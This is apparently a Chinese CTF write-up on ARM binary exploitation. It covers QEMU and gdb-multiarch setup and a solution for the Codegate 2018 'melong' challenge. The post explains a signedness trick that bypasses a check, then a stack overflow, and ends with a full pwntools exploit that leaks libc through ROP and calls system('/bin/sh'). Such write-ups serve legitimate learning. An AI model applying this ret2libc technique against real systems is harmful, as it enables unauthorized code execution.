要期中考试了,水一篇ARM
环境搭建
网上的师傅们都讲的很详细了
我是看着这个师傅的博客装的环境
安装qemu
sudo apt-get install qemu
sudo apt-get install qemu-system qemu-user-static binfmt-support
安装依赖
sudo apt-get install -y gcc-arm-linux-gnueabi
sudo apt-get install qemu libncurses5-dev gcc-arm-linux-gnueabi
sudo apt-get install build-essential synaptic gcc-aarch64-linux-gnu
#sudo apt-get install gdb-arm-none-eabi
#sudo apt-get install eclipse-cdt
安装gdb-multiarch
sudo apt-get install gdb-multiarch
例题复现
Codegate2018_melong
题目有libc和ld文件
例行检查
32位的arm小端序程序,只开启了NX保护
调试与mips下差不多
qemu-arm-static -L ./ ./melong
或者与pwntools联动
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import sys
context.binary = "./melong"
if sys.argv[1] == "r":
io = remote("localhost", 9999)
elif sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "./", "./melong"])
else:
io = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])
另一个shell
gdb-multiarch ./test
target remote 127.0.0.1:1234
ida打开
有个菜单,以为是堆题,实际上是栈溢出
需要先check后才能进行其他操作
函数比较多,漏洞在write_diary函数中
write_diary函数的第一个参数控制无符号整数nbyte,也就是read可以向栈中写入的字节,可以从mian函数中看到,就是PT函数的返回值,进入PT函数
发现整型返回值可以由用户输入,但是要绕过ptr == (void)exc2
的检查,追踪exc2发现对其操作是在check函数的子函数get_result函数里
check函数
get_result函数
check函数限制只能check两次,而这个exc2应该是保存第二次check后bmi值的地方,要实现分配的chunk地址相等似乎有些困难,而且如果分配一个比较大的数字,需要等待sleep函数执行很久
但是看PT函数中的分支
if ( ptr == (void *)exc2 )
{
puts("Okay, start to exercise!");
for ( i = 0; i < (signed int)size; ++i )
{
puts("you are getting healthy..");
sleep(1u);
}
free(ptr);
v0 = size;
}
在for循环的条件中用了强制类型转换,将size转换为无符号整数
如果让size等于-1的话,malloc会请求失败返回NULL
,也就是0,而在第一次check之后exc2正好也是0
即绕过检查,又不用等待sleep函数,在write_diary函数中就可以随便写了
cyclic计算偏移后泄露地址
check(1.76,103)
PT(-1)
pd = 'a'*0x54+p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(elf.sym['main'])
write(pd)
io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")
libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)
io.interactive()
发现程序会崩溃,是因为puts函数在返回的时候并不是pop pc
,而是pop {r4, r5, r6, r7, r8, r9, r10, pc}
所以需要在前面补充一些垃圾数据,才能返回main函数
check(1.76,103)
PT(-1)
pd = 'a'*0x54+p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(0)*7+p32(elf.sym['main'])
write(pd)
io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")
libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)
io.interactive()
之后就是正常的rop了
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import sys
context.binary = "./melong"
context.log_level = "debug"
if sys.argv[1] == "r":
io = remote("",)
elif sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "./", "./melong"])
else:
io = process(["qemu-arm", "-g", "1237", "-L", "./", "./melong"])
elf = ELF("./melong", checksec = False)
libc = ELF("./libc.so.6", checksec = False)
def check(height, weight):
io.sendlineafter(":", "1")
io.sendlineafter(" : ", str(height))
io.sendlineafter(" : ", str(weight))
def PT(size):
io.sendlineafter(":", "3")
io.sendlineafter("?\n", str(size))
def write(payload):
io.sendlineafter(":", "4")
io.send(payload)
pop_r0_pc = 0x00011bbc
check(1.76,103)
PT(-1)
pd = 'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(0)*7 + p32(elf.sym['main'])
write(pd)
io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")
libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)
check(1.82, 60)
PT(-1)
pd = 'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
write(pd)
io.sendlineafter(":", "6")
io.interactive()